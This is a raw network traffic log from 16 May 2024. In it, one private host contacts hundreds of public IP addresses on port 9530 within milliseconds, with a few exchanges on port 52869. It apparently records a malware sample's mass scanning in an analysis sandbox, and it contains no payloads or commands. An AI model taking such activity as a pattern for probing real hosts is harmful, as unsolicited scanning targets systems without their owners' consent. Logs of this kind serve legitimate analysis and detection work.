May 16, 2024 16:38:52.981842041 CEST	55095	9530	192.168.2.23	195.220.86.208
May 16, 2024 16:38:52.981842995 CEST	55095	9530	192.168.2.23	104.48.17.196
May 16, 2024 16:38:52.981844902 CEST	55095	9530	192.168.2.23	146.68.68.114
May 16, 2024 16:38:52.981848001 CEST	55095	9530	192.168.2.23	102.33.48.72
May 16, 2024 16:38:52.981856108 CEST	55095	9530	192.168.2.23	24.148.39.7
May 16, 2024 16:38:52.981856108 CEST	55095	9530	192.168.2.23	158.87.71.23
May 16, 2024 16:38:52.981863022 CEST	55095	9530	192.168.2.23	87.5.24.139
May 16, 2024 16:38:52.981863022 CEST	55095	9530	192.168.2.23	141.212.128.231
May 16, 2024 16:38:52.981863976 CEST	55095	9530	192.168.2.23	146.20.146.188
May 16, 2024 16:38:52.981863022 CEST	55095	9530	192.168.2.23	175.209.205.119
May 16, 2024 16:38:52.981863976 CEST	55095	9530	192.168.2.23	8.214.104.130
May 16, 2024 16:38:52.981874943 CEST	55095	9530	192.168.2.23	80.38.168.205
May 16, 2024 16:38:52.981874943 CEST	55095	9530	192.168.2.23	59.129.243.80
May 16, 2024 16:38:52.981880903 CEST	55095	9530	192.168.2.23	180.102.127.122
May 16, 2024 16:38:52.981880903 CEST	55095	9530	192.168.2.23	85.164.221.65
May 16, 2024 16:38:52.981880903 CEST	55095	9530	192.168.2.23	210.206.238.18
May 16, 2024 16:38:52.981880903 CEST	55095	9530	192.168.2.23	110.99.225.142
May 16, 2024 16:38:52.981894016 CEST	55095	9530	192.168.2.23	69.187.169.129
May 16, 2024 16:38:52.981894016 CEST	55095	9530	192.168.2.23	98.184.102.138
May 16, 2024 16:38:52.981897116 CEST	55095	9530	192.168.2.23	32.134.90.130
May 16, 2024 16:38:52.981901884 CEST	55095	9530	192.168.2.23	133.198.172.13
May 16, 2024 16:38:52.981916904 CEST	55095	9530	192.168.2.23	65.19.202.137
May 16, 2024 16:38:52.981916904 CEST	55095	9530	192.168.2.23	170.26.44.12
May 16, 2024 16:38:52.981916904 CEST	55095	9530	192.168.2.23	152.2.103.153
May 16, 2024 16:38:52.981919050 CEST	55095	9530	192.168.2.23	196.22.186.22
May 16, 2024 16:38:52.981919050 CEST	55095	9530	192.168.2.23	162.198.235.240
May 16, 2024 16:38:52.981920004 CEST	55095	9530	192.168.2.23	8.80.91.0
May 16, 2024 16:38:52.981920004 CEST	55095	9530	192.168.2.23	69.244.220.138
May 16, 2024 16:38:52.981920004 CEST	55095	9530	192.168.2.23	173.112.38.27
May 16, 2024 16:38:52.981920004 CEST	55095	9530	192.168.2.23	4.146.115.50
May 16, 2024 16:38:52.981921911 CEST	55095	9530	192.168.2.23	82.127.67.182
May 16, 2024 16:38:52.981921911 CEST	55095	9530	192.168.2.23	123.224.168.149
May 16, 2024 16:38:52.981925011 CEST	55095	9530	192.168.2.23	65.19.178.124
May 16, 2024 16:38:52.981925011 CEST	55095	9530	192.168.2.23	117.134.203.221
May 16, 2024 16:38:52.981925011 CEST	55095	9530	192.168.2.23	97.82.155.87
May 16, 2024 16:38:52.981935024 CEST	55095	9530	192.168.2.23	61.79.123.192
May 16, 2024 16:38:52.981935978 CEST	55095	9530	192.168.2.23	197.37.100.73
May 16, 2024 16:38:52.981939077 CEST	55095	9530	192.168.2.23	44.31.181.102
May 16, 2024 16:38:52.981939077 CEST	55095	9530	192.168.2.23	12.27.203.99
May 16, 2024 16:38:52.982012033 CEST	45318	9530	192.168.2.23	12.159.71.123
May 16, 2024 16:38:52.982033014 CEST	50176	9530	192.168.2.23	95.38.251.201
May 16, 2024 16:38:52.982049942 CEST	43400	9530	192.168.2.23	184.239.3.224
May 16, 2024 16:38:52.982050896 CEST	52366	9530	192.168.2.23	182.196.102.135
May 16, 2024 16:38:52.982054949 CEST	40424	9530	192.168.2.23	146.194.218.108
May 16, 2024 16:38:52.982089996 CEST	44184	9530	192.168.2.23	200.180.209.59
May 16, 2024 16:38:52.982117891 CEST	50732	9530	192.168.2.23	181.184.115.140
May 16, 2024 16:38:52.982119083 CEST	48970	9530	192.168.2.23	78.142.95.35
May 16, 2024 16:38:52.982119083 CEST	40886	9530	192.168.2.23	66.21.52.212
May 16, 2024 16:38:52.982120991 CEST	48230	9530	192.168.2.23	218.32.8.212
May 16, 2024 16:38:52.982122898 CEST	49294	9530	192.168.2.23	52.10.247.21
May 16, 2024 16:38:52.982122898 CEST	35506	9530	192.168.2.23	216.113.15.237
May 16, 2024 16:38:52.982148886 CEST	58256	9530	192.168.2.23	138.149.45.163
May 16, 2024 16:38:52.982148886 CEST	34522	9530	192.168.2.23	128.6.151.74
May 16, 2024 16:38:52.982156038 CEST	53626	9530	192.168.2.23	80.140.161.132
May 16, 2024 16:38:52.982156038 CEST	38580	9530	192.168.2.23	58.37.245.134
May 16, 2024 16:38:52.982180119 CEST	43748	9530	192.168.2.23	138.91.249.106
May 16, 2024 16:38:52.982180119 CEST	54316	9530	192.168.2.23	5.74.252.139
May 16, 2024 16:38:52.982181072 CEST	55572	9530	192.168.2.23	196.207.6.187
May 16, 2024 16:38:52.982204914 CEST	50094	9530	192.168.2.23	32.242.248.65
May 16, 2024 16:38:52.982204914 CEST	57778	9530	192.168.2.23	218.32.68.1
May 16, 2024 16:38:52.982243061 CEST	50868	9530	192.168.2.23	181.16.206.159
May 16, 2024 16:38:52.982243061 CEST	38554	9530	192.168.2.23	117.108.108.214
May 16, 2024 16:38:52.982263088 CEST	43384	9530	192.168.2.23	213.127.75.137
May 16, 2024 16:38:52.982269049 CEST	55730	9530	192.168.2.23	148.82.13.159
May 16, 2024 16:38:52.982280016 CEST	34482	9530	192.168.2.23	129.213.137.67
May 16, 2024 16:38:52.982280970 CEST	38030	9530	192.168.2.23	201.156.81.71
May 16, 2024 16:38:52.982280970 CEST	33226	9530	192.168.2.23	1.50.192.120
May 16, 2024 16:38:52.982302904 CEST	54822	9530	192.168.2.23	193.250.95.85
May 16, 2024 16:38:52.982306004 CEST	57182	9530	192.168.2.23	218.166.150.2
May 16, 2024 16:38:52.982312918 CEST	47492	9530	192.168.2.23	177.166.97.226
May 16, 2024 16:38:52.982316971 CEST	38490	9530	192.168.2.23	142.247.137.69
May 16, 2024 16:38:52.982335091 CEST	49008	9530	192.168.2.23	139.89.122.31
May 16, 2024 16:38:52.982364893 CEST	57766	9530	192.168.2.23	91.32.33.30
May 16, 2024 16:38:52.982366085 CEST	44452	9530	192.168.2.23	217.7.102.196
May 16, 2024 16:38:52.982367992 CEST	54464	9530	192.168.2.23	126.86.145.38
May 16, 2024 16:38:52.982374907 CEST	53290	9530	192.168.2.23	108.223.179.43
May 16, 2024 16:38:52.982376099 CEST	56704	9530	192.168.2.23	34.2.32.188
May 16, 2024 16:38:52.982389927 CEST	42624	9530	192.168.2.23	90.24.157.74
May 16, 2024 16:38:52.982407093 CEST	42264	9530	192.168.2.23	191.40.212.132
May 16, 2024 16:38:52.982407093 CEST	48800	9530	192.168.2.23	110.120.106.12
May 16, 2024 16:38:52.982425928 CEST	58840	9530	192.168.2.23	135.173.96.126
May 16, 2024 16:38:52.982434034 CEST	58324	9530	192.168.2.23	188.123.230.142
May 16, 2024 16:38:52.982475042 CEST	44082	9530	192.168.2.23	165.197.143.176
May 16, 2024 16:38:52.982475042 CEST	48000	9530	192.168.2.23	54.155.20.9
May 16, 2024 16:38:52.982479095 CEST	40712	9530	192.168.2.23	76.38.38.38
May 16, 2024 16:38:52.982485056 CEST	49162	9530	192.168.2.23	176.104.104.240
May 16, 2024 16:38:52.982500076 CEST	44416	9530	192.168.2.23	182.1.80.178
May 16, 2024 16:38:52.982512951 CEST	44156	9530	192.168.2.23	103.22.41.47
May 16, 2024 16:38:52.982517004 CEST	43288	9530	192.168.2.23	94.199.187.116
May 16, 2024 16:38:52.982517004 CEST	52306	9530	192.168.2.23	78.74.66.191
May 16, 2024 16:38:52.982574940 CEST	43624	9530	192.168.2.23	86.120.86.249
May 16, 2024 16:38:52.982590914 CEST	52612	9530	192.168.2.23	155.244.222.188
May 16, 2024 16:38:52.982598066 CEST	36562	9530	192.168.2.23	216.153.119.104
May 16, 2024 16:38:52.982599020 CEST	40344	9530	192.168.2.23	54.67.123.150
May 16, 2024 16:38:52.982625008 CEST	33736	9530	192.168.2.23	195.113.98.187
May 16, 2024 16:38:52.982628107 CEST	54338	9530	192.168.2.23	17.34.93.23
May 16, 2024 16:38:52.982634068 CEST	36656	9530	192.168.2.23	102.30.213.106
May 16, 2024 16:38:52.982640028 CEST	43520	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:52.982656002 CEST	50520	9530	192.168.2.23	139.53.78.113
May 16, 2024 16:38:52.982659101 CEST	36260	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:52.982681990 CEST	39916	9530	192.168.2.23	53.116.0.123
May 16, 2024 16:38:52.982682943 CEST	47028	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:52.982706070 CEST	34452	9530	192.168.2.23	66.81.233.102
May 16, 2024 16:38:52.982711077 CEST	59624	9530	192.168.2.23	54.249.80.205
May 16, 2024 16:38:52.982718945 CEST	51718	9530	192.168.2.23	42.159.192.68
May 16, 2024 16:38:52.982719898 CEST	36000	9530	192.168.2.23	184.103.88.123
May 16, 2024 16:38:52.982770920 CEST	37926	9530	192.168.2.23	76.236.171.38
May 16, 2024 16:38:52.982774019 CEST	47180	9530	192.168.2.23	150.182.133.125
May 16, 2024 16:38:52.982774019 CEST	52144	9530	192.168.2.23	176.34.191.78
May 16, 2024 16:38:52.982783079 CEST	42252	9530	192.168.2.23	66.237.107.46
May 16, 2024 16:38:52.982804060 CEST	56062	9530	192.168.2.23	171.198.0.112
May 16, 2024 16:38:52.984468937 CEST	52869	44896	223.87.183.87	192.168.2.23
May 16, 2024 16:38:52.985752106 CEST	52869	40756	191.90.135.247	192.168.2.23
May 16, 2024 16:38:52.985764980 CEST	9530	55095	19.11.216.89	192.168.2.23
May 16, 2024 16:38:52.985774994 CEST	9530	55095	201.137.138.135	192.168.2.23
May 16, 2024 16:38:52.985789061 CEST	9530	55095	124.156.181.101	192.168.2.23
May 16, 2024 16:38:52.985809088 CEST	9530	55095	92.111.207.131	192.168.2.23
May 16, 2024 16:38:52.985816956 CEST	55095	9530	192.168.2.23	19.11.216.89
May 16, 2024 16:38:52.985819101 CEST	9530	55095	20.73.132.234	192.168.2.23
May 16, 2024 16:38:52.985832930 CEST	55095	9530	192.168.2.23	201.137.138.135
May 16, 2024 16:38:52.985833883 CEST	9530	55095	40.77.3.51	192.168.2.23
May 16, 2024 16:38:52.985842943 CEST	55095	9530	192.168.2.23	124.156.181.101
May 16, 2024 16:38:52.985846996 CEST	9530	55095	184.73.206.19	192.168.2.23
May 16, 2024 16:38:52.985848904 CEST	9530	55095	40.167.171.13	192.168.2.23
May 16, 2024 16:38:52.985853910 CEST	55095	9530	192.168.2.23	20.73.132.234
May 16, 2024 16:38:52.985860109 CEST	9530	55095	196.157.102.89	192.168.2.23
May 16, 2024 16:38:52.985867023 CEST	55095	9530	192.168.2.23	92.111.207.131
May 16, 2024 16:38:52.985876083 CEST	9530	55095	165.67.92.65	192.168.2.23
May 16, 2024 16:38:52.985889912 CEST	9530	55095	175.109.179.90	192.168.2.23
May 16, 2024 16:38:52.985893011 CEST	44896	52869	192.168.2.23	223.87.183.87
May 16, 2024 16:38:52.985893011 CEST	55095	9530	192.168.2.23	40.77.3.51
May 16, 2024 16:38:52.985897064 CEST	9530	55095	197.112.59.204	192.168.2.23
May 16, 2024 16:38:52.985902071 CEST	9530	55095	131.123.58.92	192.168.2.23
May 16, 2024 16:38:52.985908031 CEST	9530	55095	186.88.74.225	192.168.2.23
May 16, 2024 16:38:52.985918045 CEST	55095	9530	192.168.2.23	40.167.171.13
May 16, 2024 16:38:52.985922098 CEST	9530	55095	181.90.154.92	192.168.2.23
May 16, 2024 16:38:52.985924006 CEST	55095	9530	192.168.2.23	165.67.92.65
May 16, 2024 16:38:52.985924006 CEST	55095	9530	192.168.2.23	184.73.206.19
May 16, 2024 16:38:52.985927105 CEST	55095	9530	192.168.2.23	196.157.102.89
May 16, 2024 16:38:52.985933065 CEST	52869	50792	222.221.120.15	192.168.2.23
May 16, 2024 16:38:52.985934973 CEST	55095	9530	192.168.2.23	197.112.59.204
May 16, 2024 16:38:52.985939026 CEST	55095	9530	192.168.2.23	131.123.58.92
May 16, 2024 16:38:52.985946894 CEST	9530	55095	65.147.98.153	192.168.2.23
May 16, 2024 16:38:52.985950947 CEST	55095	9530	192.168.2.23	175.109.179.90
May 16, 2024 16:38:52.985954046 CEST	55095	9530	192.168.2.23	186.88.74.225
May 16, 2024 16:38:52.985961914 CEST	9530	55095	50.49.246.29	192.168.2.23
May 16, 2024 16:38:52.985971928 CEST	9530	55095	146.11.168.169	192.168.2.23
May 16, 2024 16:38:52.985994101 CEST	55095	9530	192.168.2.23	181.90.154.92
May 16, 2024 16:38:52.985994101 CEST	55095	9530	192.168.2.23	50.49.246.29
May 16, 2024 16:38:52.986006021 CEST	55095	9530	192.168.2.23	65.147.98.153
May 16, 2024 16:38:52.986037016 CEST	55095	9530	192.168.2.23	146.11.168.169
May 16, 2024 16:38:52.986692905 CEST	9530	55095	120.94.223.65	192.168.2.23
May 16, 2024 16:38:52.986701012 CEST	9530	55095	5.24.145.77	192.168.2.23
May 16, 2024 16:38:52.986712933 CEST	9530	55095	100.3.169.192	192.168.2.23
May 16, 2024 16:38:52.986721992 CEST	9530	55095	175.117.236.38	192.168.2.23
May 16, 2024 16:38:52.986722946 CEST	55095	9530	192.168.2.23	120.94.223.65
May 16, 2024 16:38:52.986732960 CEST	9530	55095	184.163.27.175	192.168.2.23
May 16, 2024 16:38:52.986749887 CEST	9530	55095	121.158.59.12	192.168.2.23
May 16, 2024 16:38:52.986756086 CEST	9530	55095	65.194.195.112	192.168.2.23
May 16, 2024 16:38:52.986759901 CEST	55095	9530	192.168.2.23	184.163.27.175
May 16, 2024 16:38:52.986759901 CEST	55095	9530	192.168.2.23	100.3.169.192
May 16, 2024 16:38:52.986759901 CEST	55095	9530	192.168.2.23	175.117.236.38
May 16, 2024 16:38:52.986762047 CEST	9530	55095	160.218.229.139	192.168.2.23
May 16, 2024 16:38:52.986768007 CEST	9530	55095	132.179.112.81	192.168.2.23
May 16, 2024 16:38:52.986773014 CEST	9530	55095	99.2.3.43	192.168.2.23
May 16, 2024 16:38:52.986778975 CEST	9530	55095	97.129.166.48	192.168.2.23
May 16, 2024 16:38:52.986783028 CEST	9530	55095	156.174.148.226	192.168.2.23
May 16, 2024 16:38:52.986784935 CEST	55095	9530	192.168.2.23	121.158.59.12
May 16, 2024 16:38:52.986788034 CEST	9530	55095	112.40.37.61	192.168.2.23
May 16, 2024 16:38:52.986790895 CEST	55095	9530	192.168.2.23	97.129.166.48
May 16, 2024 16:38:52.986793041 CEST	9530	55095	157.176.108.250	192.168.2.23
May 16, 2024 16:38:52.986798048 CEST	9530	55095	207.169.59.188	192.168.2.23
May 16, 2024 16:38:52.986803055 CEST	9530	55095	183.171.237.47	192.168.2.23
May 16, 2024 16:38:52.986807108 CEST	9530	55095	206.2.207.91	192.168.2.23
May 16, 2024 16:38:52.986809015 CEST	55095	9530	192.168.2.23	65.194.195.112
May 16, 2024 16:38:52.986809015 CEST	55095	9530	192.168.2.23	160.218.229.139
May 16, 2024 16:38:52.986810923 CEST	9530	55095	163.20.254.63	192.168.2.23
May 16, 2024 16:38:52.986815929 CEST	9530	55095	32.107.138.180	192.168.2.23
May 16, 2024 16:38:52.986819983 CEST	9530	55095	208.135.211.193	192.168.2.23
May 16, 2024 16:38:52.986820936 CEST	55095	9530	192.168.2.23	99.2.3.43
May 16, 2024 16:38:52.986821890 CEST	55095	9530	192.168.2.23	112.40.37.61
May 16, 2024 16:38:52.986821890 CEST	55095	9530	192.168.2.23	157.176.108.250
May 16, 2024 16:38:52.986826897 CEST	55095	9530	192.168.2.23	183.171.237.47
May 16, 2024 16:38:52.986828089 CEST	55095	9530	192.168.2.23	5.24.145.77
May 16, 2024 16:38:52.986848116 CEST	55095	9530	192.168.2.23	207.169.59.188
May 16, 2024 16:38:52.986848116 CEST	55095	9530	192.168.2.23	206.2.207.91
May 16, 2024 16:38:52.986860037 CEST	55095	9530	192.168.2.23	132.179.112.81
May 16, 2024 16:38:52.986860037 CEST	55095	9530	192.168.2.23	156.174.148.226
May 16, 2024 16:38:52.986862898 CEST	55095	9530	192.168.2.23	163.20.254.63
May 16, 2024 16:38:52.986862898 CEST	55095	9530	192.168.2.23	32.107.138.180
May 16, 2024 16:38:52.986862898 CEST	55095	9530	192.168.2.23	208.135.211.193
May 16, 2024 16:38:52.987225056 CEST	9530	55095	114.206.90.2	192.168.2.23
May 16, 2024 16:38:52.987232924 CEST	9530	55095	218.46.219.114	192.168.2.23
May 16, 2024 16:38:52.987242937 CEST	9530	55095	107.141.198.220	192.168.2.23
May 16, 2024 16:38:52.987252951 CEST	9530	55095	18.22.2.90	192.168.2.23
May 16, 2024 16:38:52.987270117 CEST	9530	55095	81.253.35.249	192.168.2.23
May 16, 2024 16:38:52.987274885 CEST	9530	55095	45.194.65.100	192.168.2.23
May 16, 2024 16:38:52.987277985 CEST	55095	9530	192.168.2.23	218.46.219.114
May 16, 2024 16:38:52.987283945 CEST	9530	55095	109.191.233.196	192.168.2.23
May 16, 2024 16:38:52.987284899 CEST	55095	9530	192.168.2.23	18.22.2.90
May 16, 2024 16:38:52.987284899 CEST	55095	9530	192.168.2.23	114.206.90.2
May 16, 2024 16:38:52.987294912 CEST	9530	55095	137.3.172.181	192.168.2.23
May 16, 2024 16:38:52.987307072 CEST	55095	9530	192.168.2.23	107.141.198.220
May 16, 2024 16:38:52.987310886 CEST	9530	55095	4.173.234.98	192.168.2.23
May 16, 2024 16:38:52.987324953 CEST	9530	55095	79.239.127.139	192.168.2.23
May 16, 2024 16:38:52.987334967 CEST	55095	9530	192.168.2.23	81.253.35.249
May 16, 2024 16:38:52.987334967 CEST	55095	9530	192.168.2.23	45.194.65.100
May 16, 2024 16:38:52.987334967 CEST	55095	9530	192.168.2.23	109.191.233.196
May 16, 2024 16:38:52.987335920 CEST	9530	55095	206.139.24.47	192.168.2.23
May 16, 2024 16:38:52.987339020 CEST	55095	9530	192.168.2.23	137.3.172.181
May 16, 2024 16:38:52.987349033 CEST	9530	55095	116.175.173.225	192.168.2.23
May 16, 2024 16:38:52.987355947 CEST	9530	55095	223.224.206.60	192.168.2.23
May 16, 2024 16:38:52.987356901 CEST	55095	9530	192.168.2.23	79.239.127.139
May 16, 2024 16:38:52.987358093 CEST	9530	55095	37.142.200.239	192.168.2.23
May 16, 2024 16:38:52.987364054 CEST	9530	55095	91.39.117.156	192.168.2.23
May 16, 2024 16:38:52.987369061 CEST	9530	55095	85.115.193.62	192.168.2.23
May 16, 2024 16:38:52.987375021 CEST	9530	55095	76.56.236.138	192.168.2.23
May 16, 2024 16:38:52.987375021 CEST	55095	9530	192.168.2.23	4.173.234.98
May 16, 2024 16:38:52.987376928 CEST	55095	9530	192.168.2.23	206.139.24.47
May 16, 2024 16:38:52.987376928 CEST	55095	9530	192.168.2.23	223.224.206.60
May 16, 2024 16:38:52.987381935 CEST	9530	55095	53.211.82.141	192.168.2.23
May 16, 2024 16:38:52.987386942 CEST	9530	55095	202.205.122.238	192.168.2.23
May 16, 2024 16:38:52.987387896 CEST	9530	55095	179.228.156.170	192.168.2.23
May 16, 2024 16:38:52.987406015 CEST	55095	9530	192.168.2.23	37.142.200.239
May 16, 2024 16:38:52.987409115 CEST	55095	9530	192.168.2.23	85.115.193.62
May 16, 2024 16:38:52.987420082 CEST	55095	9530	192.168.2.23	179.228.156.170
May 16, 2024 16:38:52.987432003 CEST	55095	9530	192.168.2.23	76.56.236.138
May 16, 2024 16:38:52.987432957 CEST	55095	9530	192.168.2.23	91.39.117.156
May 16, 2024 16:38:52.987433910 CEST	55095	9530	192.168.2.23	53.211.82.141
May 16, 2024 16:38:52.987433910 CEST	55095	9530	192.168.2.23	202.205.122.238
May 16, 2024 16:38:52.987436056 CEST	9530	55095	120.115.117.175	192.168.2.23
May 16, 2024 16:38:52.987442017 CEST	9530	55095	102.204.79.222	192.168.2.23
May 16, 2024 16:38:52.987447977 CEST	9530	55095	195.200.102.245	192.168.2.23
May 16, 2024 16:38:52.987452984 CEST	55095	9530	192.168.2.23	116.175.173.225
May 16, 2024 16:38:52.987463951 CEST	9530	55095	74.18.21.246	192.168.2.23
May 16, 2024 16:38:52.987466097 CEST	9530	55095	13.71.33.16	192.168.2.23
May 16, 2024 16:38:52.987472057 CEST	9530	55095	153.231.93.150	192.168.2.23
May 16, 2024 16:38:52.987473965 CEST	9530	55095	41.129.22.86	192.168.2.23
May 16, 2024 16:38:52.987477064 CEST	9530	55095	157.31.64.156	192.168.2.23
May 16, 2024 16:38:52.987482071 CEST	9530	55095	105.113.35.115	192.168.2.23
May 16, 2024 16:38:52.987487078 CEST	55095	9530	192.168.2.23	195.200.102.245
May 16, 2024 16:38:52.987487078 CEST	9530	55095	193.39.227.210	192.168.2.23
May 16, 2024 16:38:52.987488031 CEST	55095	9530	192.168.2.23	102.204.79.222
May 16, 2024 16:38:52.987493038 CEST	9530	55095	133.166.212.220	192.168.2.23
May 16, 2024 16:38:52.987495899 CEST	55095	9530	192.168.2.23	74.18.21.246
May 16, 2024 16:38:52.987495899 CEST	55095	9530	192.168.2.23	13.71.33.16
May 16, 2024 16:38:52.987498045 CEST	55095	9530	192.168.2.23	120.115.117.175
May 16, 2024 16:38:52.987509012 CEST	9530	55095	9.226.68.117	192.168.2.23
May 16, 2024 16:38:52.987510920 CEST	9530	55095	66.161.22.232	192.168.2.23
May 16, 2024 16:38:52.987514973 CEST	9530	55095	109.175.230.201	192.168.2.23
May 16, 2024 16:38:52.987520933 CEST	9530	55095	145.1.241.178	192.168.2.23
May 16, 2024 16:38:52.987526894 CEST	9530	55095	84.146.192.148	192.168.2.23
May 16, 2024 16:38:52.987529039 CEST	9530	55095	67.240.134.173	192.168.2.23
May 16, 2024 16:38:52.987535000 CEST	9530	55095	124.42.2.19	192.168.2.23
May 16, 2024 16:38:52.987540007 CEST	9530	55095	186.132.250.25	192.168.2.23
May 16, 2024 16:38:52.987545013 CEST	55095	9530	192.168.2.23	193.39.227.210
May 16, 2024 16:38:52.987545967 CEST	9530	55095	42.1.62.49	192.168.2.23
May 16, 2024 16:38:52.987550020 CEST	9530	55095	145.131.192.3	192.168.2.23
May 16, 2024 16:38:52.987552881 CEST	55095	9530	192.168.2.23	67.240.134.173
May 16, 2024 16:38:52.987562895 CEST	55095	9530	192.168.2.23	133.166.212.220
May 16, 2024 16:38:52.987562895 CEST	55095	9530	192.168.2.23	9.226.68.117
May 16, 2024 16:38:52.987561941 CEST	55095	9530	192.168.2.23	157.31.64.156
May 16, 2024 16:38:52.987561941 CEST	55095	9530	192.168.2.23	109.175.230.201
May 16, 2024 16:38:52.987561941 CEST	55095	9530	192.168.2.23	124.42.2.19
May 16, 2024 16:38:52.987571955 CEST	55095	9530	192.168.2.23	42.1.62.49
May 16, 2024 16:38:52.987571955 CEST	55095	9530	192.168.2.23	145.131.192.3
May 16, 2024 16:38:52.987576008 CEST	55095	9530	192.168.2.23	153.231.93.150
May 16, 2024 16:38:52.987579107 CEST	55095	9530	192.168.2.23	186.132.250.25
May 16, 2024 16:38:52.987593889 CEST	55095	9530	192.168.2.23	41.129.22.86
May 16, 2024 16:38:52.987593889 CEST	55095	9530	192.168.2.23	105.113.35.115
May 16, 2024 16:38:52.987593889 CEST	55095	9530	192.168.2.23	66.161.22.232
May 16, 2024 16:38:52.987620115 CEST	55095	9530	192.168.2.23	84.146.192.148
May 16, 2024 16:38:52.987622023 CEST	55095	9530	192.168.2.23	145.1.241.178
May 16, 2024 16:38:52.987917900 CEST	9530	55095	165.222.136.84	192.168.2.23
May 16, 2024 16:38:52.987931967 CEST	9530	55095	59.213.249.158	192.168.2.23
May 16, 2024 16:38:52.987941980 CEST	9530	55095	5.130.79.38	192.168.2.23
May 16, 2024 16:38:52.987951994 CEST	55095	9530	192.168.2.23	165.222.136.84
May 16, 2024 16:38:52.987962008 CEST	9530	55095	44.153.108.247	192.168.2.23
May 16, 2024 16:38:52.987972021 CEST	9530	55095	203.133.219.228	192.168.2.23
May 16, 2024 16:38:52.987976074 CEST	9530	55095	121.121.74.148	192.168.2.23
May 16, 2024 16:38:52.987977982 CEST	55095	9530	192.168.2.23	5.130.79.38
May 16, 2024 16:38:52.987986088 CEST	9530	55095	72.126.107.249	192.168.2.23
May 16, 2024 16:38:52.987991095 CEST	55095	9530	192.168.2.23	59.213.249.158
May 16, 2024 16:38:52.987999916 CEST	9530	55095	118.31.159.157	192.168.2.23
May 16, 2024 16:38:52.988010883 CEST	9530	55095	109.196.14.45	192.168.2.23
May 16, 2024 16:38:52.988015890 CEST	9530	55095	95.155.60.252	192.168.2.23
May 16, 2024 16:38:52.988015890 CEST	55095	9530	192.168.2.23	44.153.108.247
May 16, 2024 16:38:52.988015890 CEST	55095	9530	192.168.2.23	203.133.219.228
May 16, 2024 16:38:52.988015890 CEST	55095	9530	192.168.2.23	121.121.74.148
May 16, 2024 16:38:52.988019943 CEST	9530	55095	157.165.145.84	192.168.2.23
May 16, 2024 16:38:52.988032103 CEST	55095	9530	192.168.2.23	72.126.107.249
May 16, 2024 16:38:52.988035917 CEST	9530	55095	70.152.25.229	192.168.2.23
May 16, 2024 16:38:52.988038063 CEST	9530	55095	168.210.141.80	192.168.2.23
May 16, 2024 16:38:52.988044024 CEST	9530	55095	73.6.187.219	192.168.2.23
May 16, 2024 16:38:52.988046885 CEST	55095	9530	192.168.2.23	118.31.159.157
May 16, 2024 16:38:52.988049030 CEST	9530	55095	185.240.92.158	192.168.2.23
May 16, 2024 16:38:52.988055944 CEST	9530	55095	34.131.142.44	192.168.2.23
May 16, 2024 16:38:52.988060951 CEST	55095	9530	192.168.2.23	109.196.14.45
May 16, 2024 16:38:52.988061905 CEST	9530	55095	131.167.35.143	192.168.2.23
May 16, 2024 16:38:52.988065958 CEST	9530	55095	194.42.159.81	192.168.2.23
May 16, 2024 16:38:52.988068104 CEST	55095	9530	192.168.2.23	95.155.60.252
May 16, 2024 16:38:52.988070965 CEST	55095	9530	192.168.2.23	70.152.25.229
May 16, 2024 16:38:52.988071918 CEST	9530	55095	218.162.42.186	192.168.2.23
May 16, 2024 16:38:52.988075972 CEST	9530	55095	99.200.81.141	192.168.2.23
May 16, 2024 16:38:52.988081932 CEST	55095	9530	192.168.2.23	157.165.145.84
May 16, 2024 16:38:52.988082886 CEST	55095	9530	192.168.2.23	185.240.92.158
May 16, 2024 16:38:52.988091946 CEST	55095	9530	192.168.2.23	168.210.141.80
May 16, 2024 16:38:52.988116026 CEST	55095	9530	192.168.2.23	73.6.187.219
May 16, 2024 16:38:52.988121986 CEST	55095	9530	192.168.2.23	34.131.142.44
May 16, 2024 16:38:52.988130093 CEST	55095	9530	192.168.2.23	194.42.159.81
May 16, 2024 16:38:52.988131046 CEST	55095	9530	192.168.2.23	131.167.35.143
May 16, 2024 16:38:52.988143921 CEST	55095	9530	192.168.2.23	218.162.42.186
May 16, 2024 16:38:52.988152981 CEST	55095	9530	192.168.2.23	99.200.81.141
May 16, 2024 16:38:52.988408089 CEST	9530	55095	164.24.170.125	192.168.2.23
May 16, 2024 16:38:52.988444090 CEST	9530	55095	157.217.78.109	192.168.2.23
May 16, 2024 16:38:52.988444090 CEST	55095	9530	192.168.2.23	164.24.170.125
May 16, 2024 16:38:52.988454103 CEST	9530	55095	162.103.34.79	192.168.2.23
May 16, 2024 16:38:52.988462925 CEST	9530	55095	209.78.103.135	192.168.2.23
May 16, 2024 16:38:52.988480091 CEST	9530	55095	9.107.217.91	192.168.2.23
May 16, 2024 16:38:52.988485098 CEST	9530	55095	189.163.244.201	192.168.2.23
May 16, 2024 16:38:52.988491058 CEST	9530	55095	115.124.242.60	192.168.2.23
May 16, 2024 16:38:52.988493919 CEST	55095	9530	192.168.2.23	157.217.78.109
May 16, 2024 16:38:52.988493919 CEST	55095	9530	192.168.2.23	209.78.103.135
May 16, 2024 16:38:52.988496065 CEST	9530	55095	102.54.88.141	192.168.2.23
May 16, 2024 16:38:52.988496065 CEST	55095	9530	192.168.2.23	162.103.34.79
May 16, 2024 16:38:52.988501072 CEST	9530	55095	193.172.69.25	192.168.2.23
May 16, 2024 16:38:52.988507032 CEST	9530	55095	166.26.178.167	192.168.2.23
May 16, 2024 16:38:52.988512039 CEST	9530	55095	24.174.0.152	192.168.2.23
May 16, 2024 16:38:52.988512993 CEST	55095	9530	192.168.2.23	9.107.217.91
May 16, 2024 16:38:52.988517046 CEST	9530	55095	210.172.253.14	192.168.2.23
May 16, 2024 16:38:52.988521099 CEST	9530	55095	162.196.137.139	192.168.2.23
May 16, 2024 16:38:52.988523960 CEST	9530	55095	191.208.22.173	192.168.2.23
May 16, 2024 16:38:52.988524914 CEST	9530	55095	154.223.101.63	192.168.2.23
May 16, 2024 16:38:52.988529921 CEST	9530	55095	87.188.108.97	192.168.2.23
May 16, 2024 16:38:52.988533020 CEST	55095	9530	192.168.2.23	193.172.69.25
May 16, 2024 16:38:52.988533974 CEST	55095	9530	192.168.2.23	115.124.242.60
May 16, 2024 16:38:52.988535881 CEST	9530	55095	75.21.222.245	192.168.2.23
May 16, 2024 16:38:52.988540888 CEST	9530	55095	24.119.85.171	192.168.2.23
May 16, 2024 16:38:52.988543034 CEST	55095	9530	192.168.2.23	102.54.88.141
May 16, 2024 16:38:52.988544941 CEST	55095	9530	192.168.2.23	166.26.178.167
